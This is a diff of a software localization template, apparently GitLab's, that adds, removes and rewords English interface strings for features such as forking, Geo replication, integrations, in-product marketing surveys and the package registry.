@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,7 +19929,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
